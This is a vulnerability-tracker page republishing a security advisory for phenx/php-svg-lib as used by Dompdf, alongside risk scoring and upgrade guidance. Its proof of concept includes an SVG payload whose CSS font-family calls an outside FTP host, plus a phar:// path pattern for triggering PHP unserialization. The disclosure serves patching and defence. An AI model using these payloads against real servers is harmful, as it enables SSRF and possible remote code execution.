Skip to content
Noroxi
OSV ecosystem advisory

GHSA-97m3-52wr-xvv2: Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE

CriticalCVSS 10.0 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Plan (action score 40/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: phenx/php-svg-lib (Packagist) 0.5.2.

Add it to your regular patch cycle. Upgrade to phenx/php-svg-lib (Packagist) 0.5.2 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

### Summary A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf. ### Details The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : ``` $name = basename($font); $dir = dirname($font); [...] $metrics_name = "$name.ufm"; [...] if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) { ``` Passing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive. ### PoC Consider the following, minimal PHP code : ``` <?php require('vendor/autoload.php'); use Dompdf\Dompdf; $dompdf = new Dompdf(); $dompdf->loadHtml($_GET['payload']); $dompdf->setPaper('A4', 'landscape'); $options = $dompdf->getOptions(); $options->setAllowedProtocols([]); $dompdf->render(); $dompdf->stream(); ``` With payload being this html file : ``` <html> <img src=""></img> </html> ``` with the base64 image being : ``` <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <text x="20" y="35" style="color:red;font-family:ftp://blakl.is:21/x/y;">My</text> </svg> ``` A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols. ### Impact An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

Published
Feb 22, 2024
Updated
Nov 30, 2024
EPSS
—

Report tools

JSON

Action score

40

Plan

Add it to your regular patch cycle.

CVSS
40 / 40 · 10.0 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-97m3-52wr-xvv2

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Packagistphenx/php-svg-lib

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Packagistphenx/php-svg-libbefore 0.5.20.5.2

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Packagist:phenx/php-svg-lib0.5.2Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
high · data can be read
Integrity
high · data or configuration can be modified
Availability
high · the service can be disrupted

Impact can extend beyond the vulnerable component (scope changes).

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality impact
High
Integrity impact
High
Availability impact
High

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

osv

Root cause

Data received over the network is deserialized into the language’s native object format without verifying its source. Code paths inside the object can be triggered during deserialization.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

python
payload = sock.recv(65536)job = pickle.loads(payload)

Fixed

python
payload = sock.recv(65536)if not hmac.compare_digest(sign(payload), header_sig):    raise PermissionError("invalid signature")job = JobSchema.validate(json.loads(payload))

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

ATT&CK techniques

—

References

All records